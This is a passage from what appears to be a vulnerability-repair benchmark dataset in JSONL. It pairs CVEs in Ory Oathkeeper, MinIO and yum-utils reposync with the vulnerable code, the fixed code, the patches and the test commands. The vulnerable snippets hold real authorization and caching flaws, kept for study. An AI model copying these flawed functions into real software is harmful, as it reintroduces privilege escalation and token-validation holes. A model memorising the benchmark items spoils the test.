{\n\t\tcacheTTL, err := time.ParseDuration(c.Cache.TTL)\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\ta.cacheTTL = &cacheTTL\n\t}\n\n\tif a.tokenCache == nil {\n\t\tcost := int64(c.Cache.MaxCost)\n\t\tif cost == 0 {\n\t\t\tcost = 100000000\n\t\t}\n\t\ta.logger.Debugf(\"Creating cache with max cost: %d\", c.Cache.MaxCost)\n\t\tcache, err := ristretto.NewCache(&ristretto.Config{\n\t\t\t// This will hold about 1000 unique mutation responses.\n\t\t\tNumCounters: 10000,\n\t\t\t// Allocate a max\n\t\t\tMaxCost: cost,\n\t\t\t// This is a best-practice value.\n\t\t\tBufferItems: 64,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\ta.tokenCache = cache\n\t}\n\n\treturn &c, client, nil\n}"}], "vul_patch": "--- a/./pipeline/authn/authenticator_oauth2_introspection.go\n+++ b/./pipeline/authn/authenticator_oauth2_introspection.go\n@@ -1,19 +1,21 @@\n-func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string) (*AuthenticatorOAuth2IntrospectionResult, bool) {\n+func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string, ss fosite.ScopeStrategy) *AuthenticatorOAuth2IntrospectionResult {\n \tif !config.Cache.Enabled {\n-\t\treturn nil, false\n+\t\treturn nil\n+\t}\n+\n+\tif ss == nil && len(config.Scopes) > 0 {\n+\t\treturn nil\n \t}\n \n \titem, found := a.tokenCache.Get(token)\n \tif !found {\n-\t\treturn nil, false\n+\t\treturn nil\n \t}\n \n-\ti := item.(*AuthenticatorOAuth2IntrospectionResult)\n-\texpires := time.Unix(i.Expires, 0)\n-\tif expires.Before(time.Now()) {\n-\t\ta.tokenCache.Del(token)\n-\t\treturn nil, false\n+\ti, ok := item.(*AuthenticatorOAuth2IntrospectionResult)\n+\tif !ok {\n+\t\treturn nil\n \t}\n \n-\treturn i, true\n+\treturn i\n }\n\n--- a/./pipeline/authn/authenticator_oauth2_introspection.go\n+++ b/./pipeline/authn/authenticator_oauth2_introspection.go\n@@ -1,5 +1,9 @@\n-func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string) {\n+func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string, ss fosite.ScopeStrategy) {\n \tif !config.Cache.Enabled {\n+\t\treturn\n+\t}\n+\n+\tif ss == nil && len(config.Scopes) > 0 {\n \t\treturn\n \t}\n \n\n--- a/./pipeline/authn/authenticator_oauth2_introspection.go\n+++ b/./pipeline/authn/authenticator_oauth2_introspection.go\n@@ -9,12 +9,14 @@\n \t\treturn errors.WithStack(ErrAuthenticatorNotResponsible)\n \t}\n \n-\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.scope_strategy\")\n+\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.config.scope_strategy\")\n \n-\ti, ok := a.tokenFromCache(cf, token)\n-\tif !ok {\n+\ti := a.tokenFromCache(cf, token, ss)\n+\n+\t// If the token can not be found, and the scope strategy is nil, and the required scope list\n+\t// is not empty, then we can not use the cache.\n+\tif i == nil {\n \t\tbody := url.Values{\"token\": {token}}\n-\n \t\tif ss == nil {\n \t\t\tbody.Add(\"scope\", strings.Join(cf.Scopes, \" \"))\n \t\t}\n@@ -23,6 +25,7 @@\n \t\tif err != nil {\n \t\t\treturn errors.WithStack(err)\n \t\t}\n+\n \t\tfor key, value := range cf.IntrospectionRequestHeaders {\n \t\t\tintrospectReq.Header.Set(key, value)\n \t\t}\n@@ -48,48 +51,52 @@\n \t\tif err := json.NewDecoder(resp.Body).Decode(&i); err != nil {\n \t\t\treturn errors.WithStack(err)\n \t\t}\n+\t}\n \n-\t\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n-\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n+\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n+\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n+\t}\n+\n+\tif !i.Active {\n+\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token is not active\"))\n+\t}\n+\n+\tif i.Expires > 0 && time.Unix(i.Expires, 0).Before(time.Now()) {\n+\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token expired\"))\n+\t}\n+\n+\tfor _, audience := range cf.Audience {\n+\t\tif !stringslice.Has(i.Audience, audience) {\n+\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n \t\t}\n+\t}\n \n-\t\tif !i.Active {\n-\t\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token i says token is not active\"))\n+\tif len(cf.Issuers) > 0 {\n+\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n+\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n \t\t}\n+\t}\n \n-\t\tfor _, audience := range cf.Audience {\n-\t\t\tif !stringslice.Has(i.Audience, audience) {\n-\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n+\tif ss != nil {\n+\t\tfor _, scope := range cf.Scopes {\n+\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n+\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n \t\t\t}\n \t\t}\n+\t}\n \n-\t\tif len(cf.Issuers) > 0 {\n-\t\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n-\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n-\t\t\t}\n-\t\t}\n+\ta.tokenToCache(cf, i, token, ss)\n \n-\t\tif ss != nil {\n-\t\t\tfor _, scope := range cf.Scopes {\n-\t\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n-\t\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n-\t\t\t\t}\n-\t\t\t}\n-\t\t}\n+\tif len(i.Extra) == 0 {\n+\t\ti.Extra = map[string]interface{}{}\n+\t}\n \n-\t\tif len(i.Extra) == 0 {\n-\t\t\ti.Extra = map[string]interface{}{}\n-\t\t}\n+\ti.Extra[\"username\"] = i.Username\n+\ti.Extra[\"client_id\"] = i.ClientID\n+\ti.Extra[\"scope\"] = i.Scope\n \n-\t\ti.Extra[\"username\"] = i.Username\n-\t\ti.Extra[\"client_id\"] = i.ClientID\n-\t\ti.Extra[\"scope\"] = i.Scope\n-\n-\t\tif len(i.Audience) != 0 {\n-\t\t\ti.Extra[\"aud\"] = i.Audience\n-\t\t}\n-\n-\t\ta.tokenToCache(cf, i, token)\n+\tif len(i.Audience) != 0 {\n+\t\ti.Extra[\"aud\"] = i.Audience\n \t}\n \n \tsession.Subject = i.Subject\n\n--- a/./pipeline/authn/authenticator_oauth2_introspection.go\n+++ b/./pipeline/authn/authenticator_oauth2_introspection.go\n@@ -64,15 +64,22 @@\n \t}\n \n \tif a.tokenCache == nil {\n+\t\tcost := int64(c.Cache.MaxCost)\n+\t\tif cost == 0 {\n+\t\t\tcost = 100000000\n+\t\t}\n \t\ta.logger.Debugf(\"Creating cache with max cost: %d\", c.Cache.MaxCost)\n-\t\tcache, _ := ristretto.NewCache(&ristretto.Config{\n+\t\tcache, err := ristretto.NewCache(&ristretto.Config{\n \t\t\t// This will hold about 1000 unique mutation responses.\n \t\t\tNumCounters: 10000,\n \t\t\t// Allocate a max\n-\t\t\tMaxCost: int64(c.Cache.MaxCost),\n+\t\t\tMaxCost: cost,\n \t\t\t// This is a best-practice value.\n \t\t\tBufferItems: 64,\n \t\t})\n+\t\tif err != nil {\n+\t\t\treturn nil, nil, err\n+\t\t}\n \n \t\ta.tokenCache = cache\n \t}\n\n--- /dev/null\n+++ b/./pipeline/authn/authenticator_oauth2_introspection.go\n@@ -0,0 +1,29 @@\n+import (\n+\t\"context\"\n+\t\"crypto/md5\"\n+\t\"encoding/json\"\n+\t\"fmt\"\n+\t\"net/http\"\n+\t\"net/url\"\n+\t\"strings\"\n+\t\"sync\"\n+\t\"time\"\n+\n+\t\"github.com/ory/fosite\"\n+\n+\t\"github.com/dgraph-io/ristretto\"\n+\n+\t\"github.com/opentracing/opentracing-go\"\n+\t\"github.com/opentracing/opentracing-go/ext\"\n+\n+\t\"github.com/pkg/errors\"\n+\t\"golang.org/x/oauth2/clientcredentials\"\n+\n+\t\"github.com/ory/go-convenience/stringslice\"\n+\t\"github.com/ory/x/httpx\"\n+\t\"github.com/ory/x/logrusx\"\n+\n+\t\"github.com/ory/oathkeeper/driver/configuration\"\n+\t\"github.com/ory/oathkeeper/helper\"\n+\t\"github.com/ory/oathkeeper/pipeline\"\n+)\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32701:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oathkeeper\nrm -rf ./pipeline/authn/authenticator_oauth2_introspection_test.go\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestAuthenticatorOAuth2Introspection$/^method=authenticate-with-cache$ github.com/ory/oathkeeper/pipeline/authn\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32701:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/oathkeeper\ngit apply --whitespace=nowarn /workspace/fix.patch\n go test  -timeout 30s -run ^TestAuthenticatorOAuth2Introspection$ github.com/ory/oathkeeper/pipeline/authn"}
{"cve_id": "CVE-2021-43858", "cve_description": "MinIO is a Kubernetes native application for cloud storage. Prior to version `RELEASE.2021-12-27T07-23-18Z`, a malicious client can hand-craft an HTTP API call that allows for updating policy for a user and gaining higher privileges. The patch in version `RELEASE.2021-12-27T07-23-18Z` changes the accepted request body type and removes the ability to apply policy changes through this API. There is a workaround for this vulnerability: Changing passwords can be disabled by adding an explicit `Deny` rule to disable the API for users.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/minio/minio", "patch_url": ["https://github.com/minio/minio/commit/5a96cbbeaabd0a82b0fe881378e7c21c85091abf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_141_1", "commit": "4169774", "file_path": "cmd/admin-handlers-users.go", "start_line": 343, "end_line": 430, "snippet": "func (a adminAPIHandlers) AddUser(w http.ResponseWriter, r *http.Request) {\n\tctx := newContext(r, w, \"AddUser\")\n\n\tdefer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))\n\n\tvars := mux.Vars(r)\n\taccessKey := vars[\"accessKey\"]\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, claims, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\t// Not allowed to add a user with same access key as root credential\n\tif owner && accessKey == cred.AccessKey {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tuserCred, exists := globalIAMSys.GetUser(ctx, accessKey)\n\tif exists && (userCred.IsTemp() || userCred.IsServiceAccount()) {\n\t\t// Updating STS credential is not allowed, and this API does not\n\t\t// support updating service accounts.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tif (cred.IsTemp() || cred.IsServiceAccount()) && cred.ParentUser == accessKey {\n\t\t// Incoming access key matches parent user then we should\n\t\t// reject password change requests.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tcheckDenyOnly := false\n\tif accessKey == cred.AccessKey {\n\t\t// Check that there is no explicit deny - otherwise it's allowed\n\t\t// to change one's own password.\n\t\tcheckDenyOnly = true\n\t}\n\n\tif !globalIAMSys.IsAllowed(iampolicy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          iampolicy.CreateUserAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred.AccessKey, claims),\n\t\tIsOwner:         owner,\n\t\tClaims:          claims,\n\t\tDenyOnly:        checkDenyOnly,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tif r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {\n\t\t// More than maxConfigSize bytes were available\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\tconfigBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tvar uinfo madmin.UserInfo\n\tif err = json.Unmarshal(configBytes, &uinfo); err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tif err = globalIAMSys.CreateUser(ctx, accessKey, uinfo); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n}"}, {"id": "vul_go_141_2", "commit": "4169774", "file_path": "cmd/iam-store.go", "start_line": 1632, "end_line": 1679, "snippet": "func (store *IAMStoreSys) AddUser(ctx context.Context, accessKey string, uinfo madmin.UserInfo) error {\n\tcache := store.lock()\n\tdefer store.unlock()\n\n\tcr, ok := cache.iamUsersMap[accessKey]\n\n\t// It is not possible to update an STS account.\n\tif ok && cr.IsTemp() {\n\t\treturn errIAMActionNotAllowed\n\t}\n\n\tu := newUserIdentity(auth.Credentials{\n\t\tAccessKey: accessKey,\n\t\tSecretKey: uinfo.SecretKey,\n\t\tStatus: func() string {\n\t\t\tif uinfo.Status == madmin.AccountEnabled {\n\t\t\t\treturn auth.AccountOn\n\t\t\t}\n\t\t\treturn auth.AccountOff\n\t\t}(),\n\t})\n\n\tif err := store.saveUserIdentity(ctx, accessKey, regUser, u); err != nil {\n\t\treturn err\n\t}\n\n\tcache.iamUsersMap[accessKey] = u.Credentials\n\n\t// Set policy if specified.\n\tif uinfo.PolicyName != \"\" {\n\t\tpolicy := uinfo.PolicyName\n\t\t// Handle policy mapping set/update\n\t\tmp := newMappedPolicy(policy)\n\t\tfor _, p := range mp.toSlice() {\n\t\t\tif _, found := cache.iamPolicyDocsMap[policy]; !found {\n\t\t\t\tlogger.LogIf(GlobalContext, fmt.Errorf(\"%w: (%s)\", errNoSuchPolicy, p))\n\t\t\t\treturn errNoSuchPolicy\n\t\t\t}\n\t\t}\n\n\t\tif err := store.saveMappedPolicy(ctx, accessKey, regUser, false, mp); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tcache.iamUserPolicyMap[accessKey] = mp\n\t}\n\treturn nil\n\n}"}, {"id": "vul_go_141_3", "commit": "4169774", "file_path": "cmd/iam.go", "start_line": 957, "end_line": 981, "snippet": "func (sys *IAMSys) CreateUser(ctx context.Context, accessKey string, uinfo madmin.UserInfo) error {\n\tif !sys.Initialized() {\n\t\treturn errServerNotInitialized\n\t}\n\n\tif sys.usersSysType != MinIOUsersSysType {\n\t\treturn errIAMActionNotAllowed\n\t}\n\n\tif !auth.IsAccessKeyValid(accessKey) {\n\t\treturn auth.ErrInvalidAccessKeyLength\n\t}\n\n\tif !auth.IsSecretKeyValid(uinfo.SecretKey) {\n\t\treturn auth.ErrInvalidSecretKeyLength\n\t}\n\n\terr := sys.store.AddUser(ctx, accessKey, uinfo)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsys.notifyForUser(ctx, accessKey, false)\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_141_1", "commit": "5a96cbb", "file_path": "cmd/admin-handlers-users.go", "start_line": 343, "end_line": 430, "snippet": "func (a adminAPIHandlers) AddUser(w http.ResponseWriter, r *http.Request) {\n\tctx := newContext(r, w, \"AddUser\")\n\n\tdefer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))\n\n\tvars := mux.Vars(r)\n\taccessKey := vars[\"accessKey\"]\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, claims, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\t// Not allowed to add a user with same access key as root credential\n\tif owner && accessKey == cred.AccessKey {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tuserCred, exists := globalIAMSys.GetUser(ctx, accessKey)\n\tif exists && (userCred.IsTemp() || userCred.IsServiceAccount()) {\n\t\t// Updating STS credential is not allowed, and this API does not\n\t\t// support updating service accounts.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tif (cred.IsTemp() || cred.IsServiceAccount()) && cred.ParentUser == accessKey {\n\t\t// Incoming access key matches parent user then we should\n\t\t// reject password change requests.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAddUserInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tcheckDenyOnly := false\n\tif accessKey == cred.AccessKey {\n\t\t// Check that there is no explicit deny - otherwise it's allowed\n\t\t// to change one's own password.\n\t\tcheckDenyOnly = true\n\t}\n\n\tif !globalIAMSys.IsAllowed(iampolicy.Args{\n\t\tAccountName:     cred.AccessKey,\n\t\tGroups:          cred.Groups,\n\t\tAction:          iampolicy.CreateUserAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred.AccessKey, claims),\n\t\tIsOwner:         owner,\n\t\tClaims:          claims,\n\t\tDenyOnly:        checkDenyOnly,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tif r.ContentLength > maxEConfigJSONSize || r.ContentLength == -1 {\n\t\t// More than maxConfigSize bytes were available\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigTooLarge), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\tconfigBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tvar ureq madmin.AddOrUpdateUserReq\n\tif err = json.Unmarshal(configBytes, &ureq); err != nil {\n\t\tlogger.LogIf(ctx, err)\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n\t\treturn\n\t}\n\n\tif err = globalIAMSys.CreateUser(ctx, accessKey, ureq); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n}"}, {"id": "fix_go_141_2", "commit": "5a96cbb", "file_path": "cmd/iam-store.go", "start_line": 1632, "end_line": 1661, "snippet": "func (store *IAMStoreSys) AddUser(ctx context.Context, accessKey string, ureq madmin.AddOrUpdateUserReq) error {\n\tcache := store.lock()\n\tdefer store.unlock()\n\n\tcr, ok := cache.iamUsersMap[accessKey]\n\n\t// It is not possible to update an STS account.\n\tif ok && cr.IsTemp() {\n\t\treturn errIAMActionNotAllowed\n\t}\n\n\tu := newUserIdentity(auth.Credentials{\n\t\tAccessKey: accessKey,\n\t\tSecretKey: ureq.SecretKey,\n\t\tStatus: func() string {\n\t\t\tif ureq.Status == madmin.AccountEnabled {\n\t\t\t\treturn auth.AccountOn\n\t\t\t}\n\t\t\treturn auth.AccountOff\n\t\t}(),\n\t})\n\n\tif err := store.saveUserIdentity(ctx, accessKey, regUser, u); err != nil {\n\t\treturn err\n\t}\n\n\tcache.iamUsersMap[accessKey] = u.Credentials\n\n\treturn nil\n}"}, {"id": "fix_go_141_3", "commit": "5a96cbb", "file_path": "cmd/iam.go", "start_line": 957, "end_line": 981, "snippet": "func (sys *IAMSys) CreateUser(ctx context.Context, accessKey string, ureq madmin.AddOrUpdateUserReq) error {\n\tif !sys.Initialized() {\n\t\treturn errServerNotInitialized\n\t}\n\n\tif sys.usersSysType != MinIOUsersSysType {\n\t\treturn errIAMActionNotAllowed\n\t}\n\n\tif !auth.IsAccessKeyValid(accessKey) {\n\t\treturn auth.ErrInvalidAccessKeyLength\n\t}\n\n\tif !auth.IsSecretKeyValid(ureq.SecretKey) {\n\t\treturn auth.ErrInvalidSecretKeyLength\n\t}\n\n\terr := sys.store.AddUser(ctx, accessKey, ureq)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tsys.notifyForUser(ctx, accessKey, false)\n\treturn nil\n}"}], "vul_patch": "--- a/cmd/admin-handlers-users.go\n+++ b/cmd/admin-handlers-users.go\n@@ -74,14 +74,14 @@\n \t\treturn\n \t}\n \n-\tvar uinfo madmin.UserInfo\n-\tif err = json.Unmarshal(configBytes, &uinfo); err != nil {\n+\tvar ureq madmin.AddOrUpdateUserReq\n+\tif err = json.Unmarshal(configBytes, &ureq); err != nil {\n \t\tlogger.LogIf(ctx, err)\n \t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminConfigBadJSON), r.URL)\n \t\treturn\n \t}\n \n-\tif err = globalIAMSys.CreateUser(ctx, accessKey, uinfo); err != nil {\n+\tif err = globalIAMSys.CreateUser(ctx, accessKey, ureq); err != nil {\n \t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n \t\treturn\n \t}\n\n--- a/cmd/iam-store.go\n+++ b/cmd/iam-store.go\n@@ -1,4 +1,4 @@\n-func (store *IAMStoreSys) AddUser(ctx context.Context, accessKey string, uinfo madmin.UserInfo) error {\n+func (store *IAMStoreSys) AddUser(ctx context.Context, accessKey string, ureq madmin.AddOrUpdateUserReq) error {\n \tcache := store.lock()\n \tdefer store.unlock()\n \n@@ -11,9 +11,9 @@\n \n \tu := newUserIdentity(auth.Credentials{\n \t\tAccessKey: accessKey,\n-\t\tSecretKey: uinfo.SecretKey,\n+\t\tSecretKey: ureq.SecretKey,\n \t\tStatus: func() string {\n-\t\t\tif uinfo.Status == madmin.AccountEnabled {\n+\t\t\tif ureq.Status == madmin.AccountEnabled {\n \t\t\t\treturn auth.AccountOn\n \t\t\t}\n \t\t\treturn auth.AccountOff\n@@ -26,23 +26,5 @@\n \n \tcache.iamUsersMap[accessKey] = u.Credentials\n \n-\t// Set policy if specified.\n-\tif uinfo.PolicyName != \"\" {\n-\t\tpolicy := uinfo.PolicyName\n-\t\t// Handle policy mapping set/update\n-\t\tmp := newMappedPolicy(policy)\n-\t\tfor _, p := range mp.toSlice() {\n-\t\t\tif _, found := cache.iamPolicyDocsMap[policy]; !found {\n-\t\t\t\tlogger.LogIf(GlobalContext, fmt.Errorf(\"%w: (%s)\", errNoSuchPolicy, p))\n-\t\t\t\treturn errNoSuchPolicy\n-\t\t\t}\n-\t\t}\n-\n-\t\tif err := store.saveMappedPolicy(ctx, accessKey, regUser, false, mp); err != nil {\n-\t\t\treturn err\n-\t\t}\n-\t\tcache.iamUserPolicyMap[accessKey] = mp\n-\t}\n \treturn nil\n-\n }\n\n--- a/cmd/iam.go\n+++ b/cmd/iam.go\n@@ -1,4 +1,4 @@\n-func (sys *IAMSys) CreateUser(ctx context.Context, accessKey string, uinfo madmin.UserInfo) error {\n+func (sys *IAMSys) CreateUser(ctx context.Context, accessKey string, ureq madmin.AddOrUpdateUserReq) error {\n \tif !sys.Initialized() {\n \t\treturn errServerNotInitialized\n \t}\n@@ -11,11 +11,11 @@\n \t\treturn auth.ErrInvalidAccessKeyLength\n \t}\n \n-\tif !auth.IsSecretKeyValid(uinfo.SecretKey) {\n+\tif !auth.IsSecretKeyValid(ureq.SecretKey) {\n \t\treturn auth.ErrInvalidSecretKeyLength\n \t}\n \n-\terr := sys.store.AddUser(ctx, accessKey, uinfo)\n+\terr := sys.store.AddUser(ctx, accessKey, ureq)\n \tif err != nil {\n \t\treturn err\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-10897", "cve_description": "A directory traversal issue was found in reposync, a part of yum-utils, where reposync fails to sanitize paths in remote repository configuration files. If an attacker controls a repository, they may be able to copy files outside of the destination directory on the targeted system via path traversal. If reposync is running with heightened privileges on a targeted system, this flaw could potentially result in system compromise via the overwriting of critical system files. Version 1.1.31 and older are believed to be affected.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/rpm-software-management/yum-utils", "patch_url": ["https://github.com/rpm-software-management/yum-utils/commit/6a8de061f8fdc885e74ebe8c94625bf53643b71c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_325_1", "commit": "7554c01", "file_path": "reposync.py", "start_line": 77, "end_line": 120, "snippet": "def parseArgs():\n    usage = _(\"\"\"\n    Reposync is used to synchronize a remote yum repository to a local \n    directory using yum to retrieve the packages.\n    \n    %s [options]\n    \"\"\") % sys.argv[0]\n\n    parser = OptionParser(usage=usage)\n    parser.add_option(\"-c\", \"--config\", default='/etc/yum.conf',\n        help=_('config file to use (defaults to /etc/yum.conf)'))\n    parser.add_option(\"-a\", \"--arch\", default=None,\n        help=_('act as if running the specified arch (default: current arch, note: does not override $releasever. x86_64 is a superset for i*86.)'))\n    parser.add_option(\"--source\", default=False, dest=\"source\", action=\"store_true\",\n                      help=_('operate on source packages'))\n    parser.add_option(\"-r\", \"--repoid\", default=[], action='append',\n        help=_(\"specify repo ids to query, can be specified multiple times (default is all enabled)\"))\n    parser.add_option(\"-e\", \"--cachedir\",\n        help=_(\"directory in which to store metadata\"))\n    parser.add_option(\"-t\", \"--tempcache\", default=False, action=\"store_true\",\n        help=_(\"Use a temp dir for storing/accessing yum-cache\"))\n    parser.add_option(\"-d\", \"--delete\", default=False, action=\"store_true\",\n        help=_(\"delete local packages no longer present in repository\"))\n    parser.add_option(\"-p\", \"--download_path\", dest='destdir',\n        default=os.getcwd(), help=_(\"Path to download packages to: defaults to current dir\"))\n    parser.add_option(\"--norepopath\", dest='norepopath', default=False, action=\"store_true\",\n        help=_(\"Don't add the reponame to the download path. Can only be used when syncing a single repository (default is to add the reponame)\"))\n    parser.add_option(\"-g\", \"--gpgcheck\", default=False, action=\"store_true\",\n        help=_(\"Remove packages that fail GPG signature checking after downloading\"))\n    parser.add_option(\"-u\", \"--urls\", default=False, action=\"store_true\",\n        help=_(\"Just list urls of what would be downloaded, don't download\"))\n    parser.add_option(\"-n\", \"--newest-only\", dest='newest', default=False, action=\"store_true\",\n        help=_(\"Download only newest packages per-repo\"))\n    parser.add_option(\"-q\", \"--quiet\", default=False, action=\"store_true\",\n        help=_(\"Output as little as possible\"))\n    parser.add_option(\"-l\", \"--plugins\", default=False, action=\"store_true\",\n        help=_(\"enable yum plugin support\"))\n    parser.add_option(\"-m\", \"--downloadcomps\", default=False, action=\"store_true\",\n        help=_(\"also download comps.xml\"))\n    parser.add_option(\"\", \"--download-metadata\", dest=\"downloadmd\",\n        default=False, action=\"store_true\",\n        help=_(\"download all the non-default metadata\"))\n    (opts, args) = parser.parse_args()\n    return (opts, args)"}, {"id": "vul_py_325_2", "commit": "7554c01", "file_path": "reposync.py", "start_line": 123, "end_line": 325, "snippet": "def main():\n    (opts, dummy) = parseArgs()\n\n    if not os.path.exists(opts.destdir) and not opts.urls:\n        try:\n            os.makedirs(opts.destdir)\n        except OSError, e:\n            print >> sys.stderr, _(\"Error: Cannot create destination dir %s\") % opts.destdir\n            sys.exit(1)\n\n    if not os.access(opts.destdir, os.W_OK) and not opts.urls:\n        print >> sys.stderr, _(\"Error: Cannot write to  destination dir %s\") % 